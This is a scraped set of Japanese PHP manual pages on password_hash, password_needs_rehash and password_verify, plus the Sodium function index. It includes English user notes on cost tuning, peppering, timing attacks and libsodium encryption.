  • PASSWORD_DEFAULT - bcrypt アルゴリズムを使います (PHP 5.5.0 の時点でのデフォルトです)。 新しくてより強力なアルゴリズムが PHP に追加されれば、 この定数もそれにあわせて変わっていきます。 そのため、これを指定したときの結果の長さは、変わる可能性があります。 したがって、結果をデータベースに格納するときにはカラム幅を 60 文字以上にできるようなカラムを使うことをお勧めします (255 文字くらいが適切でしょう)。
  • PASSWORD_BCRYPT - CRYPT_BLOWFISH アルゴリズムを使ってハッシュを作ります。これは標準の crypt() 互換のハッシュで、識別子 "$2y$" を使った場合の結果を作ります。 その結果は、常に 60 文字の文字列になります。失敗した場合に false を返します。
  • PASSWORD_ARGON2I - Argon2i ハッシュアルゴリズムを使って ハッシュを作ります。このアルゴリズムは、 PHP が Argon2 のサポートを有効にしてコンパイルした場合のみ利用できます。
  • PASSWORD_ARGON2ID - Argon2id ハッシュアルゴリズムを使って ハッシュを作ります。このアルゴリズムは、 PHP が Argon2 のサポートを有効にしてコンパイルした場合のみ利用できます。

PASSWORD_BCRYPT がサポートするオプション:

  • salt (string) - パスワードのハッシュに使うソルトを手動で設定します。 これは、自動生成されたソルトを上書きすることに注意しましょう。

    省略した場合は、パスワードをハッシュするたびに password_hash() がランダムなソルトを自動生成します。これは意図したとおりの操作モードです。

    警告

    このソルト・オプションは、PHP 7.0.0 で非推奨になりました。 このオプションは指定せずに、デフォルトで生成されるソルトを使うことを推奨します。

  • cost (int) - 利用するアルゴリズムのコストを表します。 値の例については crypt() のページを参照ください。

    省略した場合のデフォルトは 10 です。この値でもかまいませんが、 ハードウェアの性能が許すならもう少し高くすることもできます。

PASSWORD_ARGON2I と PASSWORD_ARGON2ID が サポートするオプション

  • memory_cost (int) - Argon2 ハッシュを計算するのに 使われるメモリの最大値(キロバイト単位)。 デフォルトは PASSWORD_ARGON2_DEFAULT_MEMORY_COST です。

  • time_cost (int) - Argon2 ハッシュを計算するのに 使って良い時間の最大値。 デフォルトは PASSWORD_ARGON2_DEFAULT_TIME_COST です。

  • threads (int) - Argon2 ハッシュを計算するのに使う スレッド数。 デフォルトは PASSWORD_ARGON2_DEFAULT_THREADS です。

パラメータ

password

ユーザーのパスワード。

警告

PASSWORD_BCRYPT をアルゴリズムに指定すると、 password が最大 72 文字までに切り詰められます。

algo

パスワードのハッシュに使うアルゴリズムを表す パスワードアルゴリズム定数。

options

オプションを含む連想配列。各アルゴリズムがサポートするオプションについては、 パスワードアルゴリズム定数 のページを参照ください。

省略した場合は、ランダムな salt を生成してデフォルトのコストを使います。

返り値

ハッシュしたパスワードを返します。失敗した場合に false を返します。

使ったアルゴリズムやコスト、そしてソルトもハッシュの一部として返されます。 つまり、ハッシュを検証するために必要な情報は、すべてそこに含まれているということです。 そのため、password_verify() でハッシュを検証するときに、 ソルトやアルゴリズムの情報を別に保存する必要はありません。

変更履歴

バージョン | 説明
7.4.0 | algo パラメータは string を期待するようになりました。 しかし、後方互換性のために int も未だ受け入れています。
7.3.0 | PASSWORD_ARGON2ID を使った、 Argon2id パスワードのサポートが追加されました。
7.2.0 | PASSWORD_ARGON2I を使った、 Argon2i パスワードのサポートが追加されました。

例

例1 password_hash() の例

<?php
/**
 * デフォルトのアルゴリズムを使ってパスワードをハッシュします。
 * 現時点でのデフォルトは BCRYPT で、その結果は 60 文字になります。
 *
 * デフォルトは、今後変わる可能性があることに注意しましょう。結果が
 * 60 文字以上になっても対応できるようにしておきましょう (255 あたりが適切です)
 */
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT);
?>

上の例の出力は、 たとえば以下のようになります。

$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

例2 password_hash() で、コストを手動で設定する例

<?php
/**
 * この例では、BCRYPT のコストをデフォルトより上げて、12 にします。
 * また、アルゴリズムを BCRYPT に変えたことにも注目しましょう。結果は常に 60 文字になります。
 */
$options = [
    'cost' => 12,
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
?>

上の例の出力は、 たとえば以下のようになります。

$2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K

例3 password_hash() で、適切なコストを探す例

<?php
/**
 * このコードは、サーバーをベンチマークして、どの程度のコストに耐えられるかを判断します。
 * サーバーに負荷をかけすぎない範囲で、できるだけ高めのコストを設定したいものです。
 * 基準として 8 から 10 程度からはじめ、サーバーが十分に高速なら、できるだけ上げていきましょう。
 * 以下のコードでは、ストレッチングの時間を 50 ミリ秒以内にすることを狙っています。
 * 対話形式のログインを扱う際の許容時間としては、このあたりが妥当なところでしょう。
 */
$timeTarget = 0.05; // 50 ミリ秒

$cost = 8;
do {
    $cost++;
    $start = microtime(true);
    password_hash("test", PASSWORD_BCRYPT, ["cost" => $cost]);
    $end = microtime(true);
} while (($end - $start) < $timeTarget);

echo "Appropriate Cost Found: " . $cost;
?>

上の例の出力は、 たとえば以下のようになります。

Appropriate Cost Found: 10

例4 Argon2i を使った password_hash() の例

<?php
echo 'Argon2i hash: ' . password_hash('rasmuslerdorf', PASSWORD_ARGON2I);
?>

上の例の出力は、 たとえば以下のようになります。

Argon2i hash: $argon2i$v=19$m=1024,t=2,p=2$YzJBSzV4TUhkMzc3d3laeg$zqU/1IN0/AogfP4cmSJI1vc8lpXRW9/S0sYY2i2jHT0

注意

警告

この関数で使うソルトを自前で設定するのはお勧めしません。 ソルトを省略すれば、安全なソルトをこの関数が自動的に作ってくれます。

先述のとおり、PHP 7.0 で salt オプションを指定すると、 非推奨の警告が発生します。ソルトを手動で設定する仕組みは、将来のリリースで廃止されるかもしれません。

注意:

実際にサーバー上でこの関数をテストして、コストパラメータの適切な設定値を調整することをお勧めします。 対話型のシステムなら、関数の実行時間が 100 ミリ秒くらいに収まるくらいが適切です。 先ほどの例のスクリプトは、自分のハードウェア上での適切なコストを判断するための助けとなるでしょう。

注意: この関数がサポートするアルゴリズムの更新 (あるいはデフォルトのアルゴリズムの変更) は、必ず次の手順にのっとって行われます。

  • 新しく追加されたアルゴリズムがデフォルトになるまでには、 少なくとも一度は PHP のフルリリースを経ること。 つまり、たとえば、新しいアルゴリズムが 7.5.5 で追加されたとすると、 そのアルゴリズムがデフォルトになるのは早くても 7.7 以降ということになります (7.6 は、最初のフルリリースだからです)。 しかし、もし別のアルゴリズムが 7.6.0 で追加されたとすると、 そのアルゴリズムも 7.7.0 の時点でデフォルトになる資格を得ます。
  • デフォルトを変更できるのはフルリリース (7.3.0 や 8.0.0 など) のときだけで、リビジョンリリースでは変更できない。 唯一の例外は、現在のデフォルトにセキュリティ上の致命的な欠陥が発覚した場合の緊急リリースです。

参考

  • password_verify() - パスワードがハッシュにマッチするかどうかを調べる
  • crypt() - 文字列の一方向のハッシュ化を行う
  • » ユーザーランドでの実装
  • sodium_crypto_pwhash_str() - Get an ASCII-encoded hash

User Contributed Notes

Anonymous 07-Jun-2020 02:11
To use argon, follow these steps:

```
git clone https://github.com/p-h-c/phc-winner-argon2
cd phc-winner-argon2 && make && make install
apt install libsodium-dev
cd ~/php-7.4.5 // Your php installation source code
./configure [YOUR_EXISTING_CONFIGURE_COMMANDS] --with-password-argon2 --with-sodium
```
php dot net at marksim dot org 17-May-2020 07:56
regarding the sentence "...database column that can expand beyond 60 characters (255 characters would be a good choice). "

Considering future hash length increase by factor *2 and considering databases to start counting with 1, a password length of 256 characters (not 255) would probably be the better choice :)
ms1 at rdrecs dot com 14-Oct-2019 05:07
Timing attacks simply put, are attacks that can calculate what characters of the password are due to speed of the execution.

More at...
https://paragonie.com/blog/2015/11/preventing-timing-attacks-on-string-comparison-with-double-hmac-strategy

I have added code to phpnetcomment201908 at lucb1e dot com's suggestion to make this possible "timing attack" more difficult using the code phpnetcomment201908 at lucb1e dot com posted.

$pph_strt = microtime(true);

//...
/*The code he posted for login.php*/
//...

$end = (microtime(true) - $pph_strt);

$wait = bcmul((1 - $end), 1000000);  // usleep(250000) 1/4 of a second

usleep ( $wait );

echo "<br>Execution time:".(microtime(true) - $pph_strt)."; ";

Note I suggest changing the wait time to suit your needs but make sure that it is more than than the highest execution time the script takes on your server.

Also, this is my workaround to obfuscate the execution time to nullify timing attacks. You can find an in-depth discussion and more from people far more equipped than I for cryptography at the link I posted. I do not believe this was there but there are others. It is where I found out what timing attacks were as I am new to this but would like solid security.
hman 11-Sep-2019 10:27
I believe a note should be added about the compatibility of crypt() and password_hash().

My tests showed that yes, password_verify can also take hashes generated by crypt - as well as those from password_hash. But vice versa this is not true...

You cannot put hashes generated by password_hash into crypt for comparing them themselves, when used as the salt for crypt, as was recommended years ago (compare user entry with user crypt(userentry,userentry). No big deal, but it means that password checking routines MUST immediately be rewritten to use password_hash...

You cannot start using password_hash for hash generation without also altering the password check routine!

So the word "compatible" should be, IMHO, ammended with a word of caution, hinting the reader, that compatibility here is a one-way street.
phpnetcomment201908 at lucb1e dot com 25-Aug-2019 02:17
Since 2017, NIST recommends using a secret input when hashing memorized secrets such as passwords. By mixing in a secret input (commonly called a "pepper"), one prevents an attacker from brute-forcing the password hashes altogether, even if they have the hash and salt. For example, an SQL injection typically affects only the database, not files on disk, so a pepper stored in a config file would still be out of reach for the attacker. A pepper must be randomly generated once and can be the same for all users. Many password leaks could have been made completely useless if site owners had done this.

Since there is no pepper parameter for password_hash (even though Argon2 has a "secret" parameter, PHP does not allow to set it), the correct way to mix in a pepper is to use hash_hmac(). The "add note" rules of php.net say I can't link external sites, so I can't back any of this up with a link to NIST, Wikipedia, posts from the security stackexchange site that explain the reasoning, or anything... You'll have to verify this manually. The code:

// config.conf
pepper=c1isvFdxMDdmjOlvxpecFw

<?php
// register.php
$pepper = getConfigVariable("pepper");
$pwd = $_POST['password'];
$pwd_peppered = hash_hmac("sha256", $pwd, $pepper);
$pwd_hashed = password_hash($pwd_peppered, PASSWORD_ARGON2ID);
add_user_to_database($username, $pwd_hashed);
?>

<?php
// login.php
$pepper = getConfigVariable("pepper");
$pwd = $_POST['password'];
$pwd_peppered = hash_hmac("sha256", $pwd, $pepper);
$pwd_hashed = get_pwd_from_db($username);
if (password_verify($pwd_peppered, $pwd_hashed)) {
    echo "Password matches.";
}
else {
    echo "Password incorrect.";
}
?>

Note that this code contains a timing attack that leaks whether the username exists. But my note was over the length limit so I had to cut this paragraph out.

Also note that the pepper is useless if leaked or if it can be cracked. Consider how it might be exposed, for example different methods of passing it to a docker container. Against cracking, use a long randomly generated value (like in the example above), and change the pepper when you do a new install with a clean user database. Changing the pepper for an existing database is the same as changing other hashing parameters: you can either wrap the old value in a new one and layer the hashing (more complex), you compute the new password hash whenever someone logs in (leaving old users at risk, so this might be okay depending on what the reason is that you're upgrading).

Why does this work? Because an attacker does the following after stealing the database:

password_verify("a", $stolen_hash)
password_verify("b", $stolen_hash)
...
password_verify("z", $stolen_hash)
password_verify("aa", $stolen_hash)
etc.

(More realistically, they use a cracking dictionary, but in principle, the way to crack a password hash is by guessing. That's why we use special algorithms: they are slower, so each verify() operation will be slower, so they can try much fewer passwords per hour of cracking.)

Now what if you used that pepper? Now they need to do this:

password_verify(hmac_sha256("a", $secret), $stolen_hash)

Without that $secret (the pepper), they can't do this computation. They would have to do:

password_verify(hmac_sha256("a", "a"), $stolen_hash)
password_verify(hmac_sha256("a", "b"), $stolen_hash)
...
etc., until they found the correct pepper.

If your pepper contains 128 bits of entropy, and so long as hmac-sha256 remains secure (even MD5 is technically secure for use in hmac: only its collision resistance is broken, but of course nobody would use MD5 because more and more flaws are found), this would take more energy than the sun outputs. In other words, it's currently impossible to crack a pepper that strong, even given a known password and salt.
Anonymous 18-Jun-2019 01:09
According to the draft specification, Argon2di is the recommended mode of operation:

> 9.4.  Recommendations
>
>   The Argon2id variant with t=1 and maximum available memory is
>   recommended as a default setting for all environments.  This setting
>   is secure against side-channel attacks and maximizes adversarial
>   costs on dedicated bruteforce hardware.

source: https://tools.ietf.org/html/draft-irtf-cfrg-argon2-06#section-9.4
Lyo Mi 06-Jan-2016 06:11
Please note that password_hash will ***truncate*** the password at the first NULL-byte.

http://blog.ircmaxell.com/2015/03/security-issue-combining-bcrypt-with.html

If you use anything as an input that can generate NULL bytes (sha1 with raw as true, or if NULL bytes can naturally end up in people's passwords), you may make your application much less secure than what you might be expecting.

The password
$a = "\01234567";
is zero bytes long (an empty password) for bcrypt.

The workaround, of course, is to make sure you don't ever pass NULL-bytes to password_hash.
Mike Robinson 28-Aug-2014 02:52
For passwords, you generally want the hash calculation time to be between 250 and 500 ms (maybe more for administrator accounts). Since calculation time is dependent on the capabilities of the server, using the same cost parameter on two different servers may result in vastly different execution times. Here's a quick little function that will help you determine what cost parameter you should be using for your server to make sure you are within this range (note, I am providing a salt to eliminate any latency caused by creating a pseudorandom salt, but this should not be done when hashing passwords):

<?php
/**
 * @Param int $min_ms Minimum amount of time in milliseconds that it should take
 * to calculate the hashes
 */
function getOptimalBcryptCostParameter($min_ms = 250) {
    for ($i = 4; $i < 31; $i++) {
        $options = [ 'cost' => $i, 'salt' => 'usesomesillystringforsalt' ];
        $time_start = microtime(true);
        password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
        $time_end = microtime(true);
        if (($time_end - $time_start) * 1000 > $min_ms) {
            return $i;
        }
    }
}
echo getOptimalBcryptCostParameter(); // prints 12 in my case
?>
Cloxy 18-Oct-2013 09:45
You can produce the same hash in php 5.3.7+ with crypt() function:

<?php

$salt = mcrypt_create_iv(22, MCRYPT_DEV_URANDOM);
$salt = base64_encode($salt);
$salt = str_replace('+', '.', $salt);
$hash = crypt('rasmuslerdorf', '$2y$10$'.$salt.'$');

echo $hash;

?>
nicoSWD 06-Oct-2013 03:29
I agree with martinstoeckli,

don't create your own salts unless you really know what you're doing.

By default, it'll use /dev/urandom to create the salt, which is based on noise from device drivers.

And on Windows, it uses CryptGenRandom().

Both have been around for many years, and are considered secure for cryptography (the former probably more than the latter, though).

Don't try to outsmart these defaults by creating something less secure. Anything that is based on rand(), mt_rand(), uniqid(), or variations of these is *not* good.
martinstoeckli 08-Mar-2013 10:36
In most cases it is best to omit the salt parameter. Without this parameter, the function will generate a cryptographically safe salt, from the random source of the operating system.
martinstoeckli 17-Dec-2012 08:56
There is a compatibility pack available for PHP versions 5.3.7 and later, so you don't have to wait on version 5.5 for using this function. It comes in form of a single php file:
https://github.com/ircmaxell/password_compat


指定したハッシュがオプションにマッチするかどうかを調べる

  • ≪ password_hash
  • password_verify ≫
  • PHP Manual
  • Password Hashing 関数
  • 指定したハッシュがオプションにマッチするかどうかを調べる

password_needs_rehash

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_needs_rehash — 指定したハッシュがオプションにマッチするかどうかを調べる

説明

password_needs_rehash ( string $hash , mixed $algo , array $options = ? ) : bool

指定したハッシュが、特定のアルゴリズムとオプションを満たしているかどうかを調べます。 満たしていない場合は、ハッシュを再計算する必要があるとみなします。

パラメータ

hash

password_hash() が作ったハッシュ。

algo

パスワードのハッシュに使うアルゴリズムを表す パスワードアルゴリズム定数。

options

オプションを含む連想配列。各アルゴリズムがサポートするオプションについては、 パスワードアルゴリズム定数 のページを参照ください。

返り値

指定した algo と options にマッチするためにハッシュの再計算が必要な場合は true、 それ以外の場合は false を返します。

変更履歴

バージョン | 説明
7.4.0 | algo パラメータは string を期待するようになりました。 しかし、後方互換性のために int も未だ受け入れています。

例

例1 password_needs_rehash() の使用例

<?php

$password = 'rasmuslerdorf';
$hash = '$2y$10$YCFsG6elYca568hBi2pZ0.3LDL5wjgxct1N8w/oLR/jfHsiQwCqTS';

// cost パラメータは、ハードウェアの性能の向上にあわせて変えることができます
$options = array('cost' => 11);

// 格納されたハッシュを、平文のパスワードに対して検証します
if (password_verify($password, $hash)) {
    // より新しいハッシュアルゴリズムの存在や、コストの変更を
    // 確認します
    if (password_needs_rehash($hash, PASSWORD_DEFAULT, $options)) {
        // そんな場合は新しいハッシュを計算して、古いものを置き換えます
        $newHash = password_hash($password, PASSWORD_DEFAULT, $options);
    }

    // ログイン
}
?>

User Contributed Notes

geekasylum at google mail 17-May-2018 11:05
This function can indeed be used to assist in transparently updating legacy passwords (those not using the password_hash() function - eg: perhaps something using MD5 or SHA1)

In legacy sites, when authenticating a user (during login) first check the password using password_verify(). If that fails it may simply be because the user's password hash was created long ago by a legacy or home-brew password algorithm.

You can then re-check the password against the site's legacy password algorithm.  If that fails too, then the login fails, since the supplied password did not authenticate against either the new, or the old password tests.

If any one of those two test was successfull, you know that the password is good so you would then call password_needs_rehash() on the stored hash, and it will properly indicate if the password hash needs to be re-computed, either because it's an unrecognised (legacy) hash or it's a modern hash created by password_hash(), which may just need its cost index updated.

Simply store the recomputed hash in the database and you now have a password_verify() compatible password for that user and the second test can be skipped in future logins (but still check if it needs rehashing).
admin at torntech dot com 13-Sep-2014 02:48
Some other use-cases for the password_needs_rehash function is when you have specified using the PASSWORD_DEFAULT algorithm for password_hash.
As mentioned on the Password Hashing Predefined Constants and password_hash pages, the algorithm used by PASSWORD_DEFAULT is subject to change as different versions of PHP are released.
Additionally password_needs_rehash would be used if you have changed the optional cost or static salt (DO NOT USE A STATIC SALT) requirements of your password_hash options.

Full example:

<?php

$new = [
    'options' => ['cost' => 11],
    'algo' => PASSWORD_DEFAULT,
    'hash' => null
];

$password = 'rasmuslerdorf';

//stored hash of password
$oldHash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

//verify stored hash against plain-text password
if (true === password_verify($password, $oldHash)) {
    //verify legacy password to new password_hash options
    if (true === password_needs_rehash($oldHash, $new['algo'], $new['options'])) {
        //rehash/store plain-text password using new hash
        $newHash = password_hash($password, $new['algo'], $new['options']);
        echo $newHash;
    }
}
?>

The above example will output something similar to:
$2y$11$Wu5rN3u38.g/XWdUeA6Wj.PD.F0fLXXmZrMNFyzzg2UxkVmxlk41W
php dot net at muer dot nl 13-May-2014 09:39
nick, this function cannot check if a string is a MD5 or SHA1 hash. It can only tell you if a password, hashed using the password_hash function, needs to be put through the hashing function again to keep up to date with the new defaults.

The only time you can use this function is when your user logs in and you have already checked by means of password_verify that the password entered is actually correct. At that point, if password_needs_rehash returns true, you can put the plain text password through the password_hash function.
nick at nickstallman dot net 18-Jul-2013 12:02
ydroneaud this would be used on a login page, not at any other time.

So if you have a site with MD5 passwords for example, and wish to upgrade to SHA256 for additional security you would put this check in the login script.

This function will take a user's hash and say if it is SHA256, if it isn't then you can take the user's password which you still have as plaintext and rehash it as SHA256.

This lets you gradually update the hashes in your database without disrupting any features or resetting passwords.


パスワードがハッシュにマッチするかどうかを調べる

  • ≪ password_needs_rehash
  • Sodium ≫
  • PHP Manual
  • Password Hashing 関数
  • パスワードがハッシュにマッチするかどうかを調べる

password_verify

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_verify — パスワードがハッシュにマッチするかどうかを調べる

説明

password_verify ( string $password , string $hash ) : bool

指定したハッシュがパスワードにマッチするかどうかを調べます。

password_hash() は、 アルゴリズムやコスト、ソルトといった情報もハッシュに含めて返すことに注意しましょう。 したがって、ハッシュの検証に必要な情報はすべてそこに含まれていることになります。 これで、検証関数がハッシュの検証をするときに、ソルトやアルゴリズム情報を別の場所から取得する必要がなくなります。

この関数は、タイミング攻撃に対して安全です。

パラメータ

password

ユーザーのパスワード。

hash

password_hash() が作ったハッシュ。

返り値

パスワードとハッシュがマッチする場合に true、それ以外の場合に false を返します。

例

例1 password_verify() の例

<?php
// これをどうやって作ったのかは、password_hash() の例を参照ください
$hash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

if (password_verify('rasmuslerdorf', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}
?>

上の例の出力は以下となります。

Password is valid!

参考

  • password_hash() - パスワードハッシュを作る
  • » ユーザーランドでの実装
  • sodium_crypto_pwhash_str_verify() - Verifies that a password matches a hash

User Contributed Notes

There are no user contributed notes for this page.


Sodium

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Sodium 関数
    • sodium_add — Add large numbers
    • sodium_base642bin — Description
    • sodium_bin2base64 — Description
    • sodium_bin2hex — Encode to hexadecimal
    • sodium_compare — Compare large numbers
    • sodium_crypto_aead_aes256gcm_decrypt — Decrypt in combined mode with precalculation
    • sodium_crypto_aead_aes256gcm_encrypt — Encrypt in combined mode with precalculation
    • sodium_crypto_aead_aes256gcm_is_available — Check if hardware supports AES256-GCM
    • sodium_crypto_aead_aes256gcm_keygen — Get random bytes for key
    • sodium_crypto_aead_chacha20poly1305_decrypt — Verify that the ciphertext includes a valid tag
    • sodium_crypto_aead_chacha20poly1305_encrypt — Encrypt a message
    • sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Verify that the ciphertext includes a valid tag
    • sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Encrypt a message
    • sodium_crypto_aead_chacha20poly1305_ietf_keygen — Get random bytes for key
    • sodium_crypto_aead_chacha20poly1305_keygen — Get random bytes for key
    • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — Description
    • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — Description
    • sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Description
    • sodium_crypto_auth_keygen — Get random bytes for key
    • sodium_crypto_auth_verify — Verifies that the tag is valid for the message
    • sodium_crypto_auth — Compute a tag for the message
    • sodium_crypto_box_keypair_from_secretkey_and_publickey — Description
    • sodium_crypto_box_keypair — Randomly generate a secret key and a corresponding public key
    • sodium_crypto_box_open — Verify and decrypt a ciphertext
    • sodium_crypto_box_publickey_from_secretkey — Description
    • sodium_crypto_box_publickey — Description
    • sodium_crypto_box_seal_open — Decrypt the ciphertext
    • sodium_crypto_box_seal — Encrypt a message
    • sodium_crypto_box_secretkey — Description
    • sodium_crypto_box_seed_keypair — Deterministically derive the key pair from a single key
    • sodium_crypto_box — Encrypt a message
    • sodium_crypto_generichash_final — Complete the hash
    • sodium_crypto_generichash_init — Initialize a hash
    • sodium_crypto_generichash_keygen — Get random bytes for key
    • sodium_crypto_generichash_update — Add message to a hash
    • sodium_crypto_generichash — Get a hash of the message
    • sodium_crypto_kdf_derive_from_key — Derive a subkey
    • sodium_crypto_kdf_keygen — Get random bytes for key
    • sodium_crypto_kx_client_session_keys — Description
    • sodium_crypto_kx_keypair — Creates a new sodium keypair
    • sodium_crypto_kx_publickey — Description
    • sodium_crypto_kx_secretkey — Description
    • sodium_crypto_kx_seed_keypair — Description
    • sodium_crypto_kx_server_session_keys — Description
    • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Verify that the password is a valid password verification string
    • sodium_crypto_pwhash_scryptsalsa208sha256_str — Get an ASCII encoded hash
    • sodium_crypto_pwhash_scryptsalsa208sha256 — Derives a key from a password
    • sodium_crypto_pwhash_str_needs_rehash — Description
    • sodium_crypto_pwhash_str_verify — Verifies that a password matches a hash
    • sodium_crypto_pwhash_str — Get an ASCII-encoded hash
    • sodium_crypto_pwhash — Derive a key from a password
    • sodium_crypto_scalarmult_base — のエイリアス sodium_crypto_box_publickey_from_secretkey
    • sodium_crypto_scalarmult — Compute a shared secret given a user's secret key and another user's public key
    • sodium_crypto_secretbox_keygen — Get random bytes for key
    • sodium_crypto_secretbox_open — Verify and decrypt a ciphertext
    • sodium_crypto_secretbox — Encrypt a message
    • sodium_crypto_secretstream_xchacha20poly1305_init_pull — Description
    • sodium_crypto_secretstream_xchacha20poly1305_init_push — Description
    • sodium_crypto_secretstream_xchacha20poly1305_keygen — Description
    • sodium_crypto_secretstream_xchacha20poly1305_pull — Description
    • sodium_crypto_secretstream_xchacha20poly1305_push — Description
    • sodium_crypto_secretstream_xchacha20poly1305_rekey — Description
    • sodium_crypto_shorthash_keygen — Get random bytes for key
    • sodium_crypto_shorthash — Compute a fixed-size fingerprint for the message
    • sodium_crypto_sign_detached — Sign the message
    • sodium_crypto_sign_ed25519_pk_to_curve25519 — Convert an Ed25519 public key to a Curve25519 public key
    • sodium_crypto_sign_ed25519_sk_to_curve25519 — Convert an Ed25519 secret key to a Curve25519 secret key
    • sodium_crypto_sign_keypair_from_secretkey_and_publickey — Description
    • sodium_crypto_sign_keypair — Randomly generate a secret key and a corresponding public key
    • sodium_crypto_sign_open — Check that the signed message has a valid signature
    • sodium_crypto_sign_publickey_from_secretkey — Extract the public key from the secret key
    • sodium_crypto_sign_publickey — Description
    • sodium_crypto_sign_secretkey — Description
    • sodium_crypto_sign_seed_keypair — Deterministically derive the key pair from a single key
    • sodium_crypto_sign_verify_detached — Verify signature for the message
    • sodium_crypto_sign — Sign a message
    • sodium_crypto_stream_keygen — Get random bytes for key
    • sodium_crypto_stream_xor — Encrypt a message
    • sodium_crypto_stream — Generate a deterministic sequence of bytes from a seed
    • sodium_hex2bin — Decodes a hexadecimally encoded binary string
    • sodium_increment — Increment large number
    • sodium_memcmp — Test for equality in constant-time
    • sodium_memzero — Overwrite buf with zeros
    • sodium_pad — Add padding data
    • sodium_unpad — Remove padding data
  • SodiumException — SodiumException クラス

User Contributed Notes

Chris 02-May-2018 08:04
Libsodium documentation: https://github.com/paragonie/pecl-libsodium-doc


はじめに

User Contributed Notes

Sander 03-Sep-2018 01:30
When using the stream_get_meta_data() function, the manual states not to use the value of 'unread_bytes' in a script, which lead to a non functioning script in my environment. I guess you'd rather use the value of 'eof'. Or, even better, use the feof() function.
Anonymous 01-May-2018 12:30
Clearly there isn't much support or documentation for this yet.

Based off the same safeEncrypt implementation here and elsewhere, I updated it to work for me (I'm running libsodium 1.0.8).

I added these methods to a utility class.

<?php

// simple example
$message = 'My ultra-sensitive information';

$secret_key = Util::generateSecretKey();
$encrypted = Util::encrypt($message, $secret_key, 64);
$decrypted = Util::decrypt($encrypted, $secret_key, 64);

print $decrypted;

// outputs 'My ultra-sensitive information'
// encrypted data is padded to 64-byte chunks to obfuscate actual data length

class Util
{
    /**
     * Get a secret key for encrypt/decrypt
     *
     * Use libsodium to generate a secret key.  This should be kept secure.
     *
     * @return string
     * @see encrypt(), decrypt()
     */
    public static function generateSecretKey()
    {
        return sodium_crypto_secretbox_keygen();
    }

    /**
     * Encrypt a message
     *
     * Use libsodium to encrypt a string
     *
     * @param string $message - message to encrypt
     * @param string $secret_key - encryption key
     * @param int $block_size - pad the message by $block_size byte chunks to conceal encrypted data size. must match between encrypt/decrypt!
     * @return string
     * @see decrypt()
     * @see https://github.com/jedisct1/libsodium/issues/392
     */
    public static function encrypt($message, $secret_key, $block_size = 1)
    {
        // create a nonce for this operation. it will be stored and recovered in the message itself
        $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);

        // pad to $block_size byte chunks (enforce 512 byte limit)
        $padded_message = sodium_pad($message, $block_size <= 512 ? $block_size : 512);

        // encrypt message and combine with nonce
        $cipher = base64_encode($nonce . sodium_crypto_secretbox($padded_message, $nonce, $secret_key));

        // cleanup
        sodium_memzero($message);
        sodium_memzero($secret_key);

        return $cipher;
    }

    /**
     * Decrypt a message
     *
     * Use libsodium to decrypt an encrypted string
     *
     * @param string $encrypted - the encrypted message
     * @param string $key - encryption key
     * @param int $block_size - pad the message by $block_size byte chunks to conceal encrypted data size. must match between encrypt/decrypt!
     * @return string
     * @see encrypt()
     * @see https://github.com/jedisct1/libsodium/issues/392
     */
    public static function decrypt($encrypted, $secret_key, $block_size = 1)
    {
        // unpack base64 message
        $decoded = base64_decode($encrypted);

        // check for general failures
        if ($decoded === false) {
            throw new \Exception('The encoding failed');
        }

        // check for incomplete message. CRYPTO_SECRETBOX_MACBYTES doesn't seem to exist in this version...
        if (!defined('CRYPTO_SECRETBOX_MACBYTES')) define('CRYPTO_SECRETBOX_MACBYTES', 16);
        if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + CRYPTO_SECRETBOX_MACBYTES)) {
            throw new \Exception('The message was truncated');
        }

        // pull nonce and ciphertext out of unpacked message
        $nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
        $ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');

        // decrypt it and account for extra padding from $block_size (enforce 512 byte limit)
        $decrypted_padded_message = sodium_crypto_secretbox_open($ciphertext, $nonce, $secret_key);
        $message = sodium_unpad($decrypted_padded_message, $block_size <= 512 ? $block_size : 512);

        // check for encrpytion failures
        if ($message === false) {
             throw new \Exception('The message was tampered with in transit');
        }

        // cleanup
        sodium_memzero($ciphertext);
        sodium_memzero($secret_key);

        return $message;
    }

}

?>
jedisct1 at php dot net 22-Dec-2017 09:37
You may want to use `feof($fd_in)` instead of `stream_get_meta_data($fd_in)['unread_bytes'] <= 0` in the examples above.

Or just read the documentation of the PHP extension here: https://github.com/jedisct1/libsodium-php -- it is always more up to date.
jedisct1 at php dot net 15-Dec-2017 08:53
With sensitive data, use `sodium_bin2base64()` and `sodium_base642bin()` than `base64_encode()` and `base64_decode()`.

The sodium functions provide better protection against side channels, are more flexible, and perform stricter validation.
jedisct1 at php dot net 15-Dec-2017 08:47
## Encrypt a file using a key derived from a password:

<?php
$password = 'password';
$input_file = '/tmp/example.original';
$encrypted_file = '/tmp/example.enc';
$chunk_size = 4096;

$alg = SODIUM_CRYPTO_PWHASH_ALG_DEFAULT;
$opslimit = SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE;
$memlimit = SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE;
$salt = random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES);

